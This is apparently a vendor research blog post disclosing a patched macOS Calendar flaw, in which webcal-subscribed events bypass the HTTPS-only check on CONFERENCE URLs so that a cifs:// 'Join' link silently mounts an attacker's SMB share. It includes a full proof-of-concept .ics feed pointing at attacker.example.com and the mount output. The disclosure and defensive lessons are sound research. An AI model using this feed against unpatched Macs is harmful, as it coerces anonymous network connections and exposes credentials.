Silent SMB: A macOS Calendar Vulnerability

Overview

Calendar invites are one of the most trusted objects in a modern operating system. We subscribe to team calendars, add conference feeds, and click "Join" on meeting events without a second thought. That trust is exactly what makes the calendar surface interesting to attack.

During research into how macOS Calendar (com.apple.iCal) handles the iCalendar format, MacSec Labs identified a vulnerability that chained two separate weaknesses together to produce a genuinely unpleasant result: a victim could be induced to silently mount an attacker-controlled SMB network share on their Mac, with no password prompt and no security warning, through nothing more than subscribing to a calendar and clicking a "Join" button.

Apple assigned the report through its vulnerability disclosure program and has since fixed the issue. This post walks through the finding, why it works, why it matters, and what defenders and researchers can take away from it. Now that the patch is publicly available, we're sharing the full technical detail.

Disclosure timeline

If you are running macOS, make sure you are updated to macOS Tahoe 26.5 or later. The rest of this post describes behavior in versions prior to that fix.

Background: the CONFERENCE property

The iCalendar specification (RFC 5545, extended by RFC 7986) defines a property called CONFERENCE. Its job is to carry the URL you use to join a meeting: a Zoom link, a Teams link, a WebEx URL, and so on. When Calendar displays an event that has a CONFERENCE property, it renders a friendly "Join" button so the user can jump straight into the call.

A CONFERENCE entry looks like this in a raw .ics file:

CONFERENCE;VALUE=URI:https://example.com/meeting/12345

Because that value becomes a clickable, auto-actioned URL, the scheme it uses matters a great deal from a security standpoint. A meeting link should be an HTTPS URL pointing at a video conferencing service. It should not be a pointer to a local application, a file on disk, or a network file share.

Apple clearly understood this, because Calendar does enforce a restriction here, just not everywhere.

The first weakness: an inconsistent security boundary

When you import a local .ics file, the normal case of double-clicking a calendar file someone emailed you, Calendar enforces an HTTPS-only rule on CONFERENCE URLs. If you try to smuggle in a file://, cifs://, or other non-HTTPS scheme, the URL is rejected or sanitized. The "Join" button won't send you somewhere dangerous. Good.

The problem is that this validation was tied to the import path, not to the data. macOS Calendar can also acquire events a second way: by subscribing to a remote calendar over the webcal:// protocol. Calendar subscriptions are a completely normal workflow. This is how you follow a sports schedule, a holiday feed, or a shared team calendar that updates automatically.

And on that subscription path, the scheme validation was not applied. Events pulled in via a webcal:// subscription had their CONFERENCE URLs processed without the HTTPS-only check, which meant arbitrary URL schemes were accepted.

This is the core lesson of the finding, and it's a pattern worth internalizing: a security control that is enforced on one input path but not on another equivalent path is not really a security control. The same event data reached the same "Join" button through two different doors, and only one door was locked.

The second weakness: cifs:// auto-connects without authentication

Bypassing the scheme filter is only interesting if a dangerous scheme actually does something dangerous. This is where the second weakness comes in, and where the choice of scheme turns out to be surprisingly important.

macOS has long supported mounting SMB/CIFS network shares directly from URLs. But not all SMB URL schemes behave the same way:

• smb:// with explicit credentials generally triggers an authentication prompt before connecting. The user sees a dialog and has a chance to stop.
• cifs://, the older scheme, auto-connects and mounts the share without prompting for a password, falling back to a guest/anonymous connection.

So when a CONFERENCE URL of the form cifs://attacker.example.com/share slipped through the subscription bypass and the victim clicked "Join," macOS quietly:

1. Resolved the CIFS URL,
2. Reached out to the attacker's SMB server, and
3. Mounted the share at /Volumes/share silently, with no credential prompt.

The distinction between smb:// and cifs:// is the difference between "the user gets a chance to say no" and "the connection just happens."

The attack chain, end to end

Putting the two weaknesses together produces a two-click attack that is unusually convincing because every step looks like something a normal user does every day.

Step 1. The lure. The victim is directed to a webcal:// URL. This is easy to deliver in ways that don't look suspicious:

• A link on a web page ("Subscribe to our event calendar")
• A webcal:// link in an email
• A QR code that resolves to a webcal:// URL

Clicking it opens Calendar and prompts the user to Subscribe to the calendar, a routine, expected dialog.

Step 2. The payload. The attacker's calendar feed contains an event whose CONFERENCE property points at their SMB server:

CONFERENCE;VALUE=URI:cifs://attacker.example.com/share

Calendar fetches and displays this event like any other. It renders a normal-looking "Join" button.

Step 3. The trigger. The victim opens the event and clicks "Join", exactly what you'd do for a real meeting. macOS resolves the cifs:// URL and silently mounts the attacker's share.

No security warning is shown at any point. Two clicks, Subscribe and Join, both of which are entirely normal calendar interactions.

Proof of concept

The malicious calendar feed is a completely ordinary .ics file:

BEGIN:VCALENDAR
VERSION:2.0
PRODID:-//Security Research//CIFS Test//EN
METHOD:PUBLISH
X-WR-CALNAME:Network Drives
BEGIN:VEVENT
UID:cifs-test@poc
DTSTAMP:20260117T220000Z
DTSTART:20260118T090000Z
DTEND:20260118T100000Z
SUMMARY:CIFS Share - Click Join
DESCRIPTION:Testing CIFS protocol
CONFERENCE;VALUE=URI:cifs://attacker.example.com/share
END:VEVENT
END:VCALENDAR

On the victim machine, the unauthorized mount can be confirmed directly:

$ mount | grep share
//guest:@attacker.example.com/share on /Volumes/share (smbfs, nodev, nosuid, quarantine, mounted by user)

Note the guest: in the mount string. The connection was made anonymously, with no credentials supplied and none requested.

A related observation: file:// was also accepted

While validating the scheme bypass, we confirmed the subscription path also accepted file:// URLs in the CONFERENCE property. An event carrying a file:// URL that pointed at a local application would launch that application when the user clicked "Join." This reinforces the root cause: the subscription path performed no meaningful scheme validation at all, rather than the cifs:// behavior being a one-off.

Why this matters

This is a remote attack. The attacker never touches the victim's machine directly. The lure is delivered over the network, the malicious calendar is served from the attacker's own infrastructure, and the coerced SMB connection reaches back out across the network to a server the attacker controls. A silent, attacker-controlled SMB mount triggered entirely at a distance is a serious foothold, for several reasons.

Forced authentication and credential exposure. Coercing a victim's machine into connecting to an attacker-controlled SMB server is a classic technique for capturing or relaying authentication material. An attacker who controls the server controls what the client is asked to do during the connection. Silent, no-prompt SMB connections are exactly the primitive that makes this class of attack practical.

A staging surface. Once a share is mounted at /Volumes/share, its contents are present on the victim's filesystem. That's a delivery channel for follow-on payloads and a place to plant files that other parts of an attack chain can reference.

Zero perceived risk. What makes this finding especially dangerous is the user experience. There is no scary dialog, no "an app is trying to access the network" prompt, no credential challenge. The victim believes they clicked "Join" on a meeting. The gap between what the user thinks happened and what actually happened is where social-engineering attacks live, and here that gap is total.

Trusted workflow. Subscribing to calendars and joining meetings are not exotic actions you can train users to avoid. They are core, daily, expected behaviors. An attack built entirely out of legitimate-looking steps is far harder to defend with awareness training alone.

Root cause and the fix

The underlying issue is a broken security boundary caused by inconsistent input validation. Apple correctly restricted CONFERENCE URL schemes on the local import path but did not apply the same restriction to events acquired through webcal:// subscriptions. A control that exists on one path and not on another logically equivalent path leaves the whole feature only as strong as its weakest entry point.

The expected, secure behavior is straightforward:

• CONFERENCE URLs from subscribed calendars should be validated with the same rigor as those from imported files.
• Non-HTTPS schemes should be blocked, or at minimum require explicit, informed user confirmation.
• SMB/CIFS connections initiated from application-handled URLs should never auto-connect without an authentication step.

Apple addressed the issue in macOS Tahoe 26.5. The corresponding advisory is being published as part of Apple's security release notes.

Takeaways for researchers and defenders

This finding is a clean illustration of ideas that generalize well beyond Calendar:

Enumerate every path to a sink, not just the obvious one. The interesting bug wasn't in the validation logic itself. That logic worked fine on the path most people would test. It was in the second path that reached the same dangerous action without passing through that logic. When you find a security check, the immediate next question should be: is there another way to reach the thing this check is protecting?

Scheme handling is a rich, under-examined surface. URL schemes are effectively an instruction to the OS about which subsystem to hand a string to, and different schemes for ostensibly the same protocol (smb:// vs cifs://) can have very different security postures. Legacy schemes that predate current prompting behavior are especially worth a look.

"Requires user interaction" is not the same as "safe." Findings that need clicks are sometimes downgraded on instinct. But when the required clicks are indistinguishable from normal, expected behavior and no warning is ever shown, the interaction requirement provides almost no protection. Realistic attacker modeling has to account for how convincing the pretext is, not just how many clicks it takes.

Trusted document formats deserve scrutiny. Calendar events, like other "boring" document types, are processed automatically, carry actionable data, and are widely trusted. That combination is precisely what makes them worth examining closely.

About MacSec Labs

MacSec Labs is a practical macOS and Apple platform security training platform built by operators, for operators. Our courses are grounded in real platform behavior and hands-on research, the same research process that produced this finding, with working proof-of-concepts and evidence at every step, rather than command references and theory.

If this kind of macOS attack-surface work is what you want to learn to do yourself, take a look at what we're building at macseclabs.com.

Responsible disclosure note: this issue was reported privately to Apple and is published here only after a fix shipped in macOS 26.5. Update your systems.